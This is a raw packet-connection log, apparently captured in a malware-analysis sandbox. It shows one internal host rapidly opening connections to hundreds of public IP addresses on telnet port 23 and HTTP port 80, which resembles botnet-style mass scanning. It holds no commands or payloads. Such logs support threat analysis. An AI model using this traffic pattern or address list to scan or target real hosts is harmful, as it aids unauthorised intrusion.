Dec 3, 2024 21:02:02.956347942 CET	19873	23	192.168.2.23	90.45.108.119
Dec 3, 2024 21:02:02.956351042 CET	19873	23	192.168.2.23	196.212.53.34
Dec 3, 2024 21:02:02.956357002 CET	19873	23	192.168.2.23	98.77.15.150
Dec 3, 2024 21:02:02.956368923 CET	19873	23	192.168.2.23	199.189.41.15
Dec 3, 2024 21:02:02.956370115 CET	19873	23	192.168.2.23	31.166.164.180
Dec 3, 2024 21:02:02.956372976 CET	19873	23	192.168.2.23	35.167.250.48
Dec 3, 2024 21:02:02.956383944 CET	19873	23	192.168.2.23	152.32.50.195
Dec 3, 2024 21:02:02.956386089 CET	19873	23	192.168.2.23	201.211.159.27
Dec 3, 2024 21:02:02.956388950 CET	19873	23	192.168.2.23	124.79.71.203
Dec 3, 2024 21:02:02.956398964 CET	19873	23	192.168.2.23	142.166.16.170
Dec 3, 2024 21:02:02.956404924 CET	19873	23	192.168.2.23	192.74.146.31
Dec 3, 2024 21:02:02.956404924 CET	19873	23	192.168.2.23	73.221.42.222
Dec 3, 2024 21:02:02.956418037 CET	19873	23	192.168.2.23	109.98.54.36
Dec 3, 2024 21:02:02.956419945 CET	19873	23	192.168.2.23	180.218.115.130
Dec 3, 2024 21:02:02.956419945 CET	19873	23	192.168.2.23	90.171.6.93
Dec 3, 2024 21:02:02.956425905 CET	19873	23	192.168.2.23	149.245.189.110
Dec 3, 2024 21:02:02.956432104 CET	19873	23	192.168.2.23	163.22.137.91
Dec 3, 2024 21:02:02.956432104 CET	19873	23	192.168.2.23	17.54.191.93
Dec 3, 2024 21:02:02.956448078 CET	19873	23	192.168.2.23	141.130.72.148
Dec 3, 2024 21:02:02.956449032 CET	19873	23	192.168.2.23	63.131.54.253
Dec 3, 2024 21:02:02.956449986 CET	19873	23	192.168.2.23	175.157.218.4
Dec 3, 2024 21:02:02.956454039 CET	19873	23	192.168.2.23	212.163.125.177
Dec 3, 2024 21:02:02.956460953 CET	19873	23	192.168.2.23	46.203.152.62
Dec 3, 2024 21:02:02.956465006 CET	19873	23	192.168.2.23	185.142.147.83
Dec 3, 2024 21:02:02.956470966 CET	19873	23	192.168.2.23	38.0.76.181
Dec 3, 2024 21:02:02.956473112 CET	19873	23	192.168.2.23	40.71.4.195
Dec 3, 2024 21:02:02.956486940 CET	19873	23	192.168.2.23	153.7.68.137
Dec 3, 2024 21:02:02.956490040 CET	19873	23	192.168.2.23	92.0.79.87
Dec 3, 2024 21:02:02.956490040 CET	19873	23	192.168.2.23	98.182.16.215
Dec 3, 2024 21:02:02.956490040 CET	19873	23	192.168.2.23	182.46.39.81
Dec 3, 2024 21:02:02.956501961 CET	19873	23	192.168.2.23	40.253.22.117
Dec 3, 2024 21:02:02.956509113 CET	19873	23	192.168.2.23	151.246.66.87
Dec 3, 2024 21:02:02.956517935 CET	19873	23	192.168.2.23	65.219.37.83
Dec 3, 2024 21:02:02.956523895 CET	19873	23	192.168.2.23	203.148.11.107
Dec 3, 2024 21:02:02.956525087 CET	19873	23	192.168.2.23	125.65.99.136
Dec 3, 2024 21:02:02.956525087 CET	19873	23	192.168.2.23	148.37.245.56
Dec 3, 2024 21:02:02.956532955 CET	19873	23	192.168.2.23	24.237.142.93
Dec 3, 2024 21:02:02.956537008 CET	19873	23	192.168.2.23	191.60.97.85
Dec 3, 2024 21:02:02.956542015 CET	19873	23	192.168.2.23	204.219.116.234
Dec 3, 2024 21:02:02.956542969 CET	19873	23	192.168.2.23	80.66.203.57
Dec 3, 2024 21:02:02.956552982 CET	19873	23	192.168.2.23	62.119.171.116
Dec 3, 2024 21:02:02.956554890 CET	19873	23	192.168.2.23	41.192.96.164
Dec 3, 2024 21:02:02.956568003 CET	19873	23	192.168.2.23	5.202.122.206
Dec 3, 2024 21:02:02.956569910 CET	19873	23	192.168.2.23	122.144.16.56
Dec 3, 2024 21:02:02.956574917 CET	19873	23	192.168.2.23	107.202.72.134
Dec 3, 2024 21:02:02.956578016 CET	19873	23	192.168.2.23	12.67.125.19
Dec 3, 2024 21:02:02.956590891 CET	19873	23	192.168.2.23	101.229.212.13
Dec 3, 2024 21:02:02.956590891 CET	19873	23	192.168.2.23	42.119.139.158
Dec 3, 2024 21:02:02.956592083 CET	19873	23	192.168.2.23	195.62.134.185
Dec 3, 2024 21:02:02.956605911 CET	19873	23	192.168.2.23	144.143.131.212
Dec 3, 2024 21:02:02.956605911 CET	19873	23	192.168.2.23	114.20.120.5
Dec 3, 2024 21:02:02.956607103 CET	19873	23	192.168.2.23	165.94.229.11
Dec 3, 2024 21:02:02.956614971 CET	19873	23	192.168.2.23	75.59.7.118
Dec 3, 2024 21:02:02.956624031 CET	19873	23	192.168.2.23	168.129.0.1
Dec 3, 2024 21:02:02.956625938 CET	19873	23	192.168.2.23	194.61.101.54
Dec 3, 2024 21:02:02.956626892 CET	19873	23	192.168.2.23	45.197.232.156
Dec 3, 2024 21:02:02.956641912 CET	19873	23	192.168.2.23	121.208.217.191
Dec 3, 2024 21:02:02.956644058 CET	19873	23	192.168.2.23	135.80.153.5
Dec 3, 2024 21:02:02.956644058 CET	19873	23	192.168.2.23	48.158.120.190
Dec 3, 2024 21:02:02.956644058 CET	19873	23	192.168.2.23	144.198.40.70
Dec 3, 2024 21:02:02.956648111 CET	19873	23	192.168.2.23	84.196.239.92
Dec 3, 2024 21:02:02.956660986 CET	19873	23	192.168.2.23	52.6.44.54
Dec 3, 2024 21:02:02.956665039 CET	19873	23	192.168.2.23	128.84.110.9
Dec 3, 2024 21:02:02.956665993 CET	19873	23	192.168.2.23	145.232.230.182
Dec 3, 2024 21:02:02.956671953 CET	19873	23	192.168.2.23	2.38.236.196
Dec 3, 2024 21:02:02.956687927 CET	19873	23	192.168.2.23	81.92.159.56
Dec 3, 2024 21:02:02.956687927 CET	19873	23	192.168.2.23	116.43.89.205
Dec 3, 2024 21:02:02.956687927 CET	19873	23	192.168.2.23	192.213.145.51
Dec 3, 2024 21:02:02.956688881 CET	19873	23	192.168.2.23	73.50.134.167
Dec 3, 2024 21:02:02.956693888 CET	19873	23	192.168.2.23	157.62.248.88
Dec 3, 2024 21:02:02.956698895 CET	19873	23	192.168.2.23	44.107.127.221
Dec 3, 2024 21:02:02.956706047 CET	19873	23	192.168.2.23	114.216.214.3
Dec 3, 2024 21:02:02.956710100 CET	19873	23	192.168.2.23	210.186.253.40
Dec 3, 2024 21:02:02.956710100 CET	19873	23	192.168.2.23	124.220.114.167
Dec 3, 2024 21:02:02.956715107 CET	19873	23	192.168.2.23	123.61.113.240
Dec 3, 2024 21:02:02.956723928 CET	19873	23	192.168.2.23	9.187.252.242
Dec 3, 2024 21:02:02.956724882 CET	19873	23	192.168.2.23	141.41.157.71
Dec 3, 2024 21:02:02.956734896 CET	19873	23	192.168.2.23	75.143.116.198
Dec 3, 2024 21:02:02.956738949 CET	19873	23	192.168.2.23	165.241.65.246
Dec 3, 2024 21:02:02.956739902 CET	19873	23	192.168.2.23	136.147.130.164
Dec 3, 2024 21:02:02.956742048 CET	19873	23	192.168.2.23	171.104.247.127
Dec 3, 2024 21:02:02.956753016 CET	19873	23	192.168.2.23	17.64.199.123
Dec 3, 2024 21:02:02.956756115 CET	19873	23	192.168.2.23	140.20.71.236
Dec 3, 2024 21:02:02.956757069 CET	19873	23	192.168.2.23	162.31.10.189
Dec 3, 2024 21:02:02.956757069 CET	19873	23	192.168.2.23	187.49.44.156
Dec 3, 2024 21:02:02.956768990 CET	19873	23	192.168.2.23	106.98.8.237
Dec 3, 2024 21:02:02.956768990 CET	19873	23	192.168.2.23	204.187.69.191
Dec 3, 2024 21:02:02.956772089 CET	19873	23	192.168.2.23	182.122.156.215
Dec 3, 2024 21:02:02.956779003 CET	19873	23	192.168.2.23	177.151.110.160
Dec 3, 2024 21:02:02.956784964 CET	19873	23	192.168.2.23	106.226.173.127
Dec 3, 2024 21:02:02.956785917 CET	19873	23	192.168.2.23	112.112.135.167
Dec 3, 2024 21:02:02.956800938 CET	19873	23	192.168.2.23	190.119.106.77
Dec 3, 2024 21:02:02.956800938 CET	19873	23	192.168.2.23	53.160.73.167
Dec 3, 2024 21:02:02.956800938 CET	19873	23	192.168.2.23	88.69.54.22
Dec 3, 2024 21:02:02.956804991 CET	19873	23	192.168.2.23	117.55.220.42
Dec 3, 2024 21:02:02.956805944 CET	19873	23	192.168.2.23	122.27.124.178
Dec 3, 2024 21:02:02.956808090 CET	19873	23	192.168.2.23	125.242.188.17
Dec 3, 2024 21:02:02.956810951 CET	19873	23	192.168.2.23	126.131.217.232
Dec 3, 2024 21:02:02.956814051 CET	19873	23	192.168.2.23	45.154.196.68
Dec 3, 2024 21:02:02.956825018 CET	19873	23	192.168.2.23	164.112.23.189
Dec 3, 2024 21:02:02.956830025 CET	19873	23	192.168.2.23	149.119.14.147
Dec 3, 2024 21:02:02.956830978 CET	19873	23	192.168.2.23	114.184.232.130
Dec 3, 2024 21:02:02.956836939 CET	19873	23	192.168.2.23	147.68.104.92
Dec 3, 2024 21:02:02.956840992 CET	19873	23	192.168.2.23	32.178.222.252
Dec 3, 2024 21:02:02.956851006 CET	19873	23	192.168.2.23	86.21.67.40
Dec 3, 2024 21:02:02.956856012 CET	19873	23	192.168.2.23	121.136.20.91
Dec 3, 2024 21:02:02.956856012 CET	19873	23	192.168.2.23	167.46.92.162
Dec 3, 2024 21:02:02.956868887 CET	19873	23	192.168.2.23	177.205.233.156
Dec 3, 2024 21:02:02.956868887 CET	19873	23	192.168.2.23	129.186.26.35
Dec 3, 2024 21:02:02.956873894 CET	19873	23	192.168.2.23	1.41.120.228
Dec 3, 2024 21:02:02.956875086 CET	19873	23	192.168.2.23	128.181.112.234
Dec 3, 2024 21:02:02.956876993 CET	19873	23	192.168.2.23	18.92.242.217
Dec 3, 2024 21:02:02.956880093 CET	19873	23	192.168.2.23	217.206.229.191
Dec 3, 2024 21:02:02.956885099 CET	19873	23	192.168.2.23	204.163.141.112
Dec 3, 2024 21:02:02.956897974 CET	19873	23	192.168.2.23	202.86.23.9
Dec 3, 2024 21:02:02.956898928 CET	19873	23	192.168.2.23	209.84.6.253
Dec 3, 2024 21:02:02.956898928 CET	19873	23	192.168.2.23	176.255.82.140
Dec 3, 2024 21:02:02.956912041 CET	19873	23	192.168.2.23	18.76.39.227
Dec 3, 2024 21:02:02.956912994 CET	19873	23	192.168.2.23	165.177.95.87
Dec 3, 2024 21:02:02.956918001 CET	19873	23	192.168.2.23	106.47.5.113
Dec 3, 2024 21:02:02.956938982 CET	19873	23	192.168.2.23	40.15.0.108
Dec 3, 2024 21:02:02.956939936 CET	19873	23	192.168.2.23	138.45.177.195
Dec 3, 2024 21:02:02.956940889 CET	19873	23	192.168.2.23	134.26.198.204
Dec 3, 2024 21:02:02.956942081 CET	19873	23	192.168.2.23	116.141.249.28
Dec 3, 2024 21:02:02.956943035 CET	19873	23	192.168.2.23	129.154.3.225
Dec 3, 2024 21:02:02.956952095 CET	19873	23	192.168.2.23	44.143.35.12
Dec 3, 2024 21:02:02.956952095 CET	19873	23	192.168.2.23	63.162.176.239
Dec 3, 2024 21:02:02.956954002 CET	19873	23	192.168.2.23	27.70.113.221
Dec 3, 2024 21:02:02.956959009 CET	19873	23	192.168.2.23	197.76.179.42
Dec 3, 2024 21:02:02.956969023 CET	19873	23	192.168.2.23	106.212.234.152
Dec 3, 2024 21:02:02.956970930 CET	19873	23	192.168.2.23	213.2.120.173
Dec 3, 2024 21:02:02.956971884 CET	19873	23	192.168.2.23	42.252.37.48
Dec 3, 2024 21:02:02.956974983 CET	19873	23	192.168.2.23	120.27.233.62
Dec 3, 2024 21:02:02.956985950 CET	19873	23	192.168.2.23	122.177.148.32
Dec 3, 2024 21:02:02.956988096 CET	19873	23	192.168.2.23	45.11.184.150
Dec 3, 2024 21:02:02.957001925 CET	19873	23	192.168.2.23	101.8.40.66
Dec 3, 2024 21:02:02.957005024 CET	19873	23	192.168.2.23	115.242.130.20
Dec 3, 2024 21:02:02.957017899 CET	19873	23	192.168.2.23	106.113.170.84
Dec 3, 2024 21:02:02.957019091 CET	19873	23	192.168.2.23	103.178.215.240
Dec 3, 2024 21:02:02.957030058 CET	19873	23	192.168.2.23	182.74.216.59
Dec 3, 2024 21:02:02.957052946 CET	19873	23	192.168.2.23	107.153.128.169
Dec 3, 2024 21:02:02.957053900 CET	19873	23	192.168.2.23	37.190.166.29
Dec 3, 2024 21:02:02.957053900 CET	19873	23	192.168.2.23	142.9.248.69
Dec 3, 2024 21:02:02.957055092 CET	19873	23	192.168.2.23	147.157.143.220
Dec 3, 2024 21:02:02.957061052 CET	19873	23	192.168.2.23	17.54.48.133
Dec 3, 2024 21:02:02.957062006 CET	19873	23	192.168.2.23	80.109.30.42
Dec 3, 2024 21:02:02.957062006 CET	19873	23	192.168.2.23	211.76.94.240
Dec 3, 2024 21:02:02.957062006 CET	19873	23	192.168.2.23	57.75.247.200
Dec 3, 2024 21:02:02.957062006 CET	19873	23	192.168.2.23	138.145.166.216
Dec 3, 2024 21:02:02.957062006 CET	19873	23	192.168.2.23	136.33.154.170
Dec 3, 2024 21:02:02.957067966 CET	19873	23	192.168.2.23	112.148.141.58
Dec 3, 2024 21:02:02.957067966 CET	19873	23	192.168.2.23	172.213.238.4
Dec 3, 2024 21:02:02.957072973 CET	19873	23	192.168.2.23	8.221.26.136
Dec 3, 2024 21:02:02.957072973 CET	19873	23	192.168.2.23	92.235.12.106
Dec 3, 2024 21:02:02.957075119 CET	19873	23	192.168.2.23	88.122.204.51
Dec 3, 2024 21:02:02.957082987 CET	19873	23	192.168.2.23	220.98.207.157
Dec 3, 2024 21:02:02.957088947 CET	19873	23	192.168.2.23	131.113.134.145
Dec 3, 2024 21:02:02.957098007 CET	19873	23	192.168.2.23	108.69.86.137
Dec 3, 2024 21:02:02.957098007 CET	19873	23	192.168.2.23	210.125.173.240
Dec 3, 2024 21:02:02.957104921 CET	19873	23	192.168.2.23	54.207.47.148
Dec 3, 2024 21:02:02.957109928 CET	19873	23	192.168.2.23	71.112.236.157
Dec 3, 2024 21:02:02.957113028 CET	19873	23	192.168.2.23	169.103.20.195
Dec 3, 2024 21:02:02.957123995 CET	19873	23	192.168.2.23	72.131.97.231
Dec 3, 2024 21:02:02.957123995 CET	19873	23	192.168.2.23	139.157.181.236
Dec 3, 2024 21:02:02.957263947 CET	23	54080	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:02.957403898 CET	54080	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:02.957735062 CET	54138	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:02.962061882 CET	23	38924	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:02.962371111 CET	23	38984	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:02.962414026 CET	38984	23	192.168.2.23	17.92.81.65
Dec 3, 2024 21:02:02.972739935 CET	23	37040	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:02.972815990 CET	37040	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:02.973021030 CET	23	60136	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:02.973239899 CET	37098	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:02.973432064 CET	60136	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:02.973655939 CET	60136	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:02.973927021 CET	60194	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:02.993331909 CET	23	46408	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:02.993431091 CET	46408	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:02.993462086 CET	46408	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:02.993489027 CET	23	34538	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:02.993837118 CET	46466	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:02.993916035 CET	23	34598	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:02.993968010 CET	34598	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:02.997435093 CET	46636	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:02.997436047 CET	40342	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:02.999583006 CET	23	47678	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:02.999658108 CET	47678	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:02.999995947 CET	47736	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:03.000113964 CET	23	60528	96.252.143.108	192.168.2.23
Dec 3, 2024 21:02:03.000348091 CET	60528	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:02:03.000590086 CET	60586	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:02:03.002305984 CET	23	39306	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:03.002542019 CET	23	39366	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:03.002589941 CET	39366	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:03.029429913 CET	47922	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:03.029429913 CET	47778	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:03.038281918 CET	80	33108	180.213.220.136	192.168.2.23
Dec 3, 2024 21:02:03.038569927 CET	80	33108	180.213.220.136	192.168.2.23
Dec 3, 2024 21:02:03.038609982 CET	80	33140	180.213.220.136	192.168.2.23
Dec 3, 2024 21:02:03.038696051 CET	33140	80	192.168.2.23	180.213.220.136
Dec 3, 2024 21:02:03.038724899 CET	33140	80	192.168.2.23	180.213.220.136
Dec 3, 2024 21:02:03.038739920 CET	20129	80	192.168.2.23	105.246.121.171
Dec 3, 2024 21:02:03.038743973 CET	20129	80	192.168.2.23	46.237.250.155
Dec 3, 2024 21:02:03.038744926 CET	20129	80	192.168.2.23	205.175.194.76
Dec 3, 2024 21:02:03.038743973 CET	20129	80	192.168.2.23	39.76.174.160
Dec 3, 2024 21:02:03.038743973 CET	20129	80	192.168.2.23	153.212.50.104
Dec 3, 2024 21:02:03.038760900 CET	20129	80	192.168.2.23	183.82.63.177
Dec 3, 2024 21:02:03.038763046 CET	20129	80	192.168.2.23	115.150.191.197
Dec 3, 2024 21:02:03.038770914 CET	20129	80	192.168.2.23	92.163.182.127
Dec 3, 2024 21:02:03.038784027 CET	20129	80	192.168.2.23	40.32.154.62
Dec 3, 2024 21:02:03.038788080 CET	20129	80	192.168.2.23	141.12.127.61
Dec 3, 2024 21:02:03.038794994 CET	20129	80	192.168.2.23	115.83.48.103
Dec 3, 2024 21:02:03.038794994 CET	20129	80	192.168.2.23	24.41.21.244
Dec 3, 2024 21:02:03.038794994 CET	20129	80	192.168.2.23	152.226.17.89
Dec 3, 2024 21:02:03.038795948 CET	20129	80	192.168.2.23	213.6.55.111
Dec 3, 2024 21:02:03.038815975 CET	20129	80	192.168.2.23	189.43.21.238
Dec 3, 2024 21:02:03.038815022 CET	20129	80	192.168.2.23	31.22.86.249
Dec 3, 2024 21:02:03.038815022 CET	20129	80	192.168.2.23	65.152.155.161
Dec 3, 2024 21:02:03.038824081 CET	20129	80	192.168.2.23	205.194.172.140
Dec 3, 2024 21:02:03.038836956 CET	20129	80	192.168.2.23	41.175.210.189
Dec 3, 2024 21:02:03.038836956 CET	20129	80	192.168.2.23	44.245.18.230
Dec 3, 2024 21:02:03.038844109 CET	20129	80	192.168.2.23	88.102.248.198
Dec 3, 2024 21:02:03.038846970 CET	20129	80	192.168.2.23	35.4.223.128
Dec 3, 2024 21:02:03.038849115 CET	20129	80	192.168.2.23	97.56.169.30
Dec 3, 2024 21:02:03.038861990 CET	20129	80	192.168.2.23	123.137.250.96
Dec 3, 2024 21:02:03.038861990 CET	20129	80	192.168.2.23	8.141.94.218
Dec 3, 2024 21:02:03.038863897 CET	20129	80	192.168.2.23	9.84.89.6
Dec 3, 2024 21:02:03.038872957 CET	20129	80	192.168.2.23	111.168.230.213
Dec 3, 2024 21:02:03.038881063 CET	80	52796	95.151.233.29	192.168.2.23
Dec 3, 2024 21:02:03.038883924 CET	20129	80	192.168.2.23	133.235.214.90
Dec 3, 2024 21:02:03.038883924 CET	20129	80	192.168.2.23	61.56.238.244
Dec 3, 2024 21:02:03.038887978 CET	20129	80	192.168.2.23	121.104.39.18
Dec 3, 2024 21:02:03.038902998 CET	20129	80	192.168.2.23	13.169.59.146
Dec 3, 2024 21:02:03.038914919 CET	20129	80	192.168.2.23	49.67.169.181
Dec 3, 2024 21:02:03.038921118 CET	20129	80	192.168.2.23	155.185.148.143
Dec 3, 2024 21:02:03.038925886 CET	20129	80	192.168.2.23	154.107.47.211
Dec 3, 2024 21:02:03.038933992 CET	20129	80	192.168.2.23	147.198.12.85
Dec 3, 2024 21:02:03.038933992 CET	20129	80	192.168.2.23	167.51.246.68
Dec 3, 2024 21:02:03.038940907 CET	20129	80	192.168.2.23	216.232.137.117
Dec 3, 2024 21:02:03.038952112 CET	20129	80	192.168.2.23	77.235.165.197
Dec 3, 2024 21:02:03.038964033 CET	20129	80	192.168.2.23	138.28.182.173
Dec 3, 2024 21:02:03.038968086 CET	20129	80	192.168.2.23	136.148.27.171
Dec 3, 2024 21:02:03.038969994 CET	20129	80	192.168.2.23	181.237.211.62
Dec 3, 2024 21:02:03.038980961 CET	20129	80	192.168.2.23	145.85.32.127
Dec 3, 2024 21:02:03.038985968 CET	20129	80	192.168.2.23	62.207.128.83
Dec 3, 2024 21:02:03.038985968 CET	20129	80	192.168.2.23	192.84.84.112
Dec 3, 2024 21:02:03.038996935 CET	20129	80	192.168.2.23	49.35.74.208
Dec 3, 2024 21:02:03.039000034 CET	20129	80	192.168.2.23	219.46.73.63
Dec 3, 2024 21:02:03.039002895 CET	20129	80	192.168.2.23	174.92.136.232
Dec 3, 2024 21:02:03.039005041 CET	20129	80	192.168.2.23	71.76.75.107
Dec 3, 2024 21:02:03.039017916 CET	20129	80	192.168.2.23	211.44.244.98
Dec 3, 2024 21:02:03.039021969 CET	20129	80	192.168.2.23	60.105.250.118
Dec 3, 2024 21:02:03.039026022 CET	20129	80	192.168.2.23	147.109.254.106
Dec 3, 2024 21:02:03.039046049 CET	20129	80	192.168.2.23	27.115.170.17
Dec 3, 2024 21:02:03.039047003 CET	20129	80	192.168.2.23	54.118.124.101
Dec 3, 2024 21:02:03.039061069 CET	20129	80	192.168.2.23	182.63.143.7
Dec 3, 2024 21:02:03.039063931 CET	20129	80	192.168.2.23	65.204.190.18
Dec 3, 2024 21:02:03.039067984 CET	20129	80	192.168.2.23	205.186.208.84
Dec 3, 2024 21:02:03.039068937 CET	20129	80	192.168.2.23	182.53.77.87
Dec 3, 2024 21:02:03.039071083 CET	20129	80	192.168.2.23	149.77.145.165
Dec 3, 2024 21:02:03.039072037 CET	20129	80	192.168.2.23	166.188.107.167
Dec 3, 2024 21:02:03.039072037 CET	20129	80	192.168.2.23	24.63.5.167
Dec 3, 2024 21:02:03.039076090 CET	80	52796	95.151.233.29	192.168.2.23
Dec 3, 2024 21:02:03.039087057 CET	20129	80	192.168.2.23	4.101.213.12
Dec 3, 2024 21:02:03.039088964 CET	20129	80	192.168.2.23	168.72.116.195
Dec 3, 2024 21:02:03.039092064 CET	20129	80	192.168.2.23	151.236.242.192
Dec 3, 2024 21:02:03.039093018 CET	20129	80	192.168.2.23	163.104.187.219
Dec 3, 2024 21:02:03.039093018 CET	20129	80	192.168.2.23	100.179.120.13
Dec 3, 2024 21:02:03.039093018 CET	20129	80	192.168.2.23	186.212.64.158
Dec 3, 2024 21:02:03.039093971 CET	20129	80	192.168.2.23	194.87.170.112
Dec 3, 2024 21:02:03.039093971 CET	20129	80	192.168.2.23	85.164.145.163
Dec 3, 2024 21:02:03.039094925 CET	20129	80	192.168.2.23	186.158.6.174
Dec 3, 2024 21:02:03.039094925 CET	20129	80	192.168.2.23	37.74.250.172
Dec 3, 2024 21:02:03.039096117 CET	20129	80	192.168.2.23	145.249.77.90
Dec 3, 2024 21:02:03.039094925 CET	20129	80	192.168.2.23	49.28.160.19
Dec 3, 2024 21:02:03.039094925 CET	20129	80	192.168.2.23	174.224.52.200
Dec 3, 2024 21:02:03.039094925 CET	20129	80	192.168.2.23	90.3.132.180
Dec 3, 2024 21:02:03.039094925 CET	20129	80	192.168.2.23	43.252.108.155
Dec 3, 2024 21:02:03.039096117 CET	20129	80	192.168.2.23	94.44.13.70
Dec 3, 2024 21:02:03.039094925 CET	20129	80	192.168.2.23	64.30.226.1
Dec 3, 2024 21:02:03.039096117 CET	20129	80	192.168.2.23	184.27.80.87
Dec 3, 2024 21:02:03.039096117 CET	20129	80	192.168.2.23	101.165.92.19
Dec 3, 2024 21:02:03.039096117 CET	20129	80	192.168.2.23	70.107.60.196
Dec 3, 2024 21:02:03.039105892 CET	20129	80	192.168.2.23	8.27.181.239
Dec 3, 2024 21:02:03.039107084 CET	20129	80	192.168.2.23	182.37.214.11
Dec 3, 2024 21:02:03.039108992 CET	20129	80	192.168.2.23	166.59.186.224
Dec 3, 2024 21:02:03.039117098 CET	20129	80	192.168.2.23	44.106.103.103
Dec 3, 2024 21:02:03.039117098 CET	20129	80	192.168.2.23	2.40.215.145
Dec 3, 2024 21:02:03.039117098 CET	20129	80	192.168.2.23	137.72.71.208
Dec 3, 2024 21:02:03.039117098 CET	20129	80	192.168.2.23	164.158.188.77
Dec 3, 2024 21:02:03.039117098 CET	20129	80	192.168.2.23	17.10.192.132
Dec 3, 2024 21:02:03.039118052 CET	20129	80	192.168.2.23	46.207.168.236
Dec 3, 2024 21:02:03.039118052 CET	20129	80	192.168.2.23	92.112.115.42
Dec 3, 2024 21:02:03.039118052 CET	20129	80	192.168.2.23	155.77.198.13
Dec 3, 2024 21:02:03.039118052 CET	20129	80	192.168.2.23	209.171.188.154
Dec 3, 2024 21:02:03.039122105 CET	20129	80	192.168.2.23	121.222.58.186
Dec 3, 2024 21:02:03.039129019 CET	20129	80	192.168.2.23	187.191.16.255
Dec 3, 2024 21:02:03.039129019 CET	20129	80	192.168.2.23	118.137.39.235
Dec 3, 2024 21:02:03.039134979 CET	20129	80	192.168.2.23	62.228.130.219
Dec 3, 2024 21:02:03.039134979 CET	20129	80	192.168.2.23	27.200.0.185
Dec 3, 2024 21:02:03.039134979 CET	20129	80	192.168.2.23	109.185.242.122
Dec 3, 2024 21:02:03.039136887 CET	20129	80	192.168.2.23	105.70.168.169
Dec 3, 2024 21:02:03.039145947 CET	20129	80	192.168.2.23	161.210.212.67
Dec 3, 2024 21:02:03.039148092 CET	20129	80	192.168.2.23	106.35.100.188
Dec 3, 2024 21:02:03.039150000 CET	20129	80	192.168.2.23	147.55.141.11
Dec 3, 2024 21:02:03.039150953 CET	20129	80	192.168.2.23	88.246.193.134
Dec 3, 2024 21:02:03.039163113 CET	20129	80	192.168.2.23	101.27.88.148
Dec 3, 2024 21:02:03.039165020 CET	20129	80	192.168.2.23	31.163.201.190
Dec 3, 2024 21:02:03.039165974 CET	20129	80	192.168.2.23	187.248.94.229
Dec 3, 2024 21:02:03.039179087 CET	80	52796	95.151.233.29	192.168.2.23
Dec 3, 2024 21:02:03.039181948 CET	20129	80	192.168.2.23	212.31.211.242
Dec 3, 2024 21:02:03.039184093 CET	20129	80	192.168.2.23	93.122.222.27
Dec 3, 2024 21:02:03.039187908 CET	20129	80	192.168.2.23	51.201.172.21
Dec 3, 2024 21:02:03.039197922 CET	20129	80	192.168.2.23	49.93.70.74
Dec 3, 2024 21:02:03.039200068 CET	20129	80	192.168.2.23	157.68.16.168
Dec 3, 2024 21:02:03.039207935 CET	20129	80	192.168.2.23	113.234.170.184
Dec 3, 2024 21:02:03.039226055 CET	20129	80	192.168.2.23	9.54.223.60
Dec 3, 2024 21:02:03.039227009 CET	20129	80	192.168.2.23	188.223.188.58
Dec 3, 2024 21:02:03.039232016 CET	20129	80	192.168.2.23	17.213.126.42
Dec 3, 2024 21:02:03.039232969 CET	20129	80	192.168.2.23	157.223.67.29
Dec 3, 2024 21:02:03.039243937 CET	20129	80	192.168.2.23	173.43.71.159
Dec 3, 2024 21:02:03.039246082 CET	20129	80	192.168.2.23	19.114.232.54
Dec 3, 2024 21:02:03.039257050 CET	20129	80	192.168.2.23	64.136.82.19
Dec 3, 2024 21:02:03.039261103 CET	20129	80	192.168.2.23	24.67.129.108
Dec 3, 2024 21:02:03.039261103 CET	20129	80	192.168.2.23	124.7.102.87
Dec 3, 2024 21:02:03.039273977 CET	20129	80	192.168.2.23	128.5.34.90
Dec 3, 2024 21:02:03.039275885 CET	20129	80	192.168.2.23	154.69.222.216
Dec 3, 2024 21:02:03.039294004 CET	20129	80	192.168.2.23	85.226.207.44
Dec 3, 2024 21:02:03.039294004 CET	20129	80	192.168.2.23	135.239.35.226
Dec 3, 2024 21:02:03.039294004 CET	20129	80	192.168.2.23	93.82.50.51
Dec 3, 2024 21:02:03.039316893 CET	20129	80	192.168.2.23	207.172.61.218
Dec 3, 2024 21:02:03.039316893 CET	20129	80	192.168.2.23	212.10.250.51
Dec 3, 2024 21:02:03.039329052 CET	20129	80	192.168.2.23	45.121.98.20
Dec 3, 2024 21:02:03.039329052 CET	20129	80	192.168.2.23	9.252.143.189
Dec 3, 2024 21:02:03.039330006 CET	20129	80	192.168.2.23	177.154.235.238
Dec 3, 2024 21:02:03.039340019 CET	20129	80	192.168.2.23	8.142.82.117
Dec 3, 2024 21:02:03.039350033 CET	20129	80	192.168.2.23	20.7.164.23
Dec 3, 2024 21:02:03.039355040 CET	80	52828	95.151.233.29	192.168.2.23
Dec 3, 2024 21:02:03.039356947 CET	20129	80	192.168.2.23	182.76.80.104
